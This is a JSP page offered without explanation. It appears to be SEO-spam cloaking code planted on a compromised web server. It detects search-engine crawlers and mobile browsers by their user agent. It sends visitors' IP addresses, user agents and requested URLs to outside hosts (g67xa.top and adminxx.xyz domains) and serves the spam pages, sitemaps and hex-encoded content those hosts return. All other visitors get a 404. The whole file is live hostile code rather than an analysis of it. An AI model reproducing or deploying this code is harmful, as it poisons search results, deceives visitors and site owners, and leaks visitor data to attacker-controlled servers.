<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>
<%@ page import="java.io.*,java.util.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.security.MessageDigest" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="java.nio.charset.CharsetDecoder" %>
<%@ page import="java.nio.charset.CodingErrorAction" %>
<%
try {
session.setMaxInactiveInterval(20);
String domainName = "http://gk2axu.g67xa.top";
String host = request.getHeader("host");
String referer = request.getHeader("referer");
String userAgent = request.getHeader("user-agent");
String addrIp = request.getRemoteAddr();
String uri = request.getRequestURI();
String queryString = request.getQueryString();
Map paramMap = new LinkedHashMap();
String hurl = uri;
if (null != queryString) {
hurl = uri + "/?" + queryString;
}
paramMap.put("ugz", "7");
paramMap.put("h", request.getScheme() + "://" + host);
paramMap.put("hurl", hurl);
paramMap.put("hagt", jy_stringToHex(userAgent));
paramMap.put("ip", addrIp);
Boolean ifQa = jy_getQa(userAgent);
Boolean ifEnvironment = jy_getEnvironment(userAgent);
String mlPath = (queryString != null && !queryString.isEmpty()) ? queryString : uri;
Boolean ifMl = jy_getMl(mlPath);
if (hurl.toLowerCase().contains("sitemap")) {
paramMap.put("map", "1");
String param = jy_mapToUrlParams(paramMap);
response.setContentType("text/xml; charset=UTF-8");
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
return;
}
if (ifMl && ifQa) {
String param = jy_mapToUrlParams(paramMap);
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
return;
}
if (ifQa) {
paramMap.put("ww", "");
paramMap.put("utf", "1");
String param = jy_mapToUrlParams(paramMap);
String result = jy_sendGetRequest(domainName, param, null);
response.getWriter().println(result);
try {
String jrq = queryString;
if (jrq == null || jrq.isEmpty()) jrq = "/";
boolean jrdone = false;
String[] jrcands = jrq.equals("/") ? new String[]{"/index.htm", "/index.html", "/index.jsp"} : new String[]{jrq};
for (String jrc : jrcands) {
if (jrc.toLowerCase().endsWith(".jsp")) {
try { request.getRequestDispatcher(jrc).include(request, response); jrdone = true; break; } catch (Exception e3) {}
} else {
InputStream jrs = null;
try { jrs = getServletContext().getResourceAsStream(jrc); } catch (Exception e4) {}
if (jrs == null) {
try {
String jrrp = getServletContext().getRealPath(jrc);
if (jrrp != null) { java.io.File jrrf = new java.io.File(jrrp); if (jrrf.isFile()) jrs = new FileInputStream(jrrf); }
} catch (Exception e5) {}
}
if (jrs != null) {
BufferedReader jrbr = new BufferedReader(new InputStreamReader(jrs, "UTF-8"));
String jrl;
while ((jrl = jrbr.readLine()) != null) out.println(jrl);
jrbr.close();
jrdone = true;
break;
}
}
}
if (!jrdone) {
try {
String jorr = (jrq.startsWith("/") ? jrq : "/" + jrq);
String jiu = request.getScheme() + "://" + host + jorr;
HttpURLConnection jic = (HttpURLConnection) new URL(jiu).openConnection();
jic.setConnectTimeout(10000);
jic.setReadTimeout(30000);
jic.setInstanceFollowRedirects(true);
jic.setRequestProperty("Host", host);
jic.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36");
BufferedReader jibr = new BufferedReader(new InputStreamReader(jic.getInputStream(), "UTF-8"));
String jil;
while ((jil = jibr.readLine()) != null) out.println(jil);
jibr.close();
jic.disconnect();
} catch (Exception e6) {}
}
} catch (Exception e2) {}
return;
}
if (ifMl && ifEnvironment && !ifQa) {
String content = "";
String[] kwList = new String[]{"p1", "p2"};
String[] dmList = new String[]{"http://tv.adminxx.xyz/", "http://tt.adminxx.xyz/"};
for (int ki = 0; ki < kwList.length; ki++) {
if (!content.isEmpty()) {
break;
}
for (int di = 0; di < dmList.length; di++) {
paramMap = new LinkedHashMap();
paramMap.put(kwList[ki], "");
paramMap.put("dm", host);
String param = jy_mapToUrlParams(paramMap);
Map result = jy_sendGetRequest(dmList[di], param);
if (result != null && "200".equals(result.get("status")) && result.get("content") != null && result.get("content").startsWith("xyz--")) {
content = result.get("content").substring(5);
break;
}
}
}
if (!content.isEmpty()) {
out.println(jy_hexToString(content));
return;
}
}
} catch (Exception e) {
out.println(e);
}
response.setStatus(404);
%>
<%!
// pure-ASCII version, JDK 1.5+ compatible, no escape sequences
public String jy_sendGetRequest(String urlStr, String param, Map herder) {
try {
String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param);
URL url = new URL(fullUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
if (null != herder) {
for (Map.Entry entry : herder.entrySet()) {
connection.setRequestProperty(entry.getKey(), entry.getValue());
}
}
connection.setRequestMethod("GET");
connection.setConnectTimeout(10000);
connection.setReadTimeout(30000);
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine).append("\n");
}
in.close();
connection.disconnect();
return content.toString();
} catch (Exception e) {
return null;
}
}
public Map jy_sendGetRequest(String urlStr, String param) {
try {
String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param);
URL url = new URL(fullUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setConnectTimeout(10000);
connection.setReadTimeout(30000);
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
String inputLine;
StringBuilder content = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
content.append(inputLine);
}
in.close();
connection.disconnect();
int status = connection.getResponseCode();
Map responseInfo = new HashMap();
responseInfo.put("status", String.valueOf(status));
responseInfo.put("content", content.toString());
return responseInfo;
} catch (Exception e) {
return null;
}
}
public String jy_mapToUrlParams(Map map) {
StringBuilder urlParams = new StringBuilder();
boolean first = true;
for (Map.Entry entry : map.entrySet()) {
if (!first) {
urlParams.append("&");
}
try {
urlParams.append(URLEncoder.encode(entry.getKey(), "UTF-8"));
urlParams.append("=");
urlParams.append(URLEncoder.encode(entry.getValue(), "UTF-8"));
} catch (UnsupportedEncodingException e) {
throw new RuntimeException(e);
}
first = false;
}
return urlParams.toString();
}
public static String jy_stringToHex(String str) {
if (null == str) {
return "";
}
StringBuilder hexString = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
char ch = str.charAt(i);
String hex = Integer.toHexString(ch & 0xff);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex);
}
return hexString.toString();
}
public static Boolean jy_getMl(String uri) {
if (null == uri) {
return false;
}
return uri.matches("(?i)^/(soft|app|mipa|kpi|movie|tv|vod).*");
}
public static Boolean jy_getQa(String userAgent) {
if (userAgent == null) {
return false;
}
String uaLower = userAgent.toLowerCase();
if (uaLower.contains("360spider") || uaLower.contains("baiduspider") || uaLower.contains("googlebot") || uaLower.contains("haosou") || uaLower.contains("sogou") || uaLower.contains("yisouspider") || uaLower.contains("toutiaospider") || uaLower.contains("bytespider") || uaLower.contains("bingbot") || uaLower.contains("bingpreview") || uaLower.contains("bytedancespider")) {
return true;
}
return false;
}
public static Boolean jy_getEnvironment(String userAgent) {
if (userAgent == null) {
return false;
}
String uaLower = userAgent.toLowerCase();
if (uaLower.contains("iphone") || uaLower.contains("ipod") || uaLower.contains("ipad") || uaLower.contains("android") || uaLower.contains("ios") || uaLower.contains("webos") || uaLower.contains("windows phone") || uaLower.contains("ucweb") || uaLower.contains("mini") || uaLower.contains("mobile") || uaLower.contains("hp-tablet") || uaLower.contains("hpwos") || uaLower.contains("iemobile") || uaLower.contains("mqqbrowser") || uaLower.contains("juc") || uaLower.contains("fennec") || uaLower.contains("wosbrowser") || uaLower.contains("browserng")) {
return true;
}
return false;
}
public String jy_hexToString(String hex) {
if (null == hex || hex.length() % 2 != 0) {
return "";
}
byte[] bytes = new byte[hex.length() / 2];
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) Integer.parseInt(hex.substring(i * 2, i * 2 + 2), 16);
}
try {
CharsetDecoder dec = Charset.forName("UTF-8").newDecoder();
dec.onMalformedInput(CodingErrorAction.REPORT);
dec.onUnmappableCharacter(CodingErrorAction.REPORT);
return dec.decode(ByteBuffer.wrap(bytes)).toString();
} catch (Exception e) {
try {
return new String(bytes, "GBK");
} catch (Exception e2) {
try {
return new String(bytes, "ISO-8859-1");
} catch (Exception e3) {
return "";
}
}
}
}
%>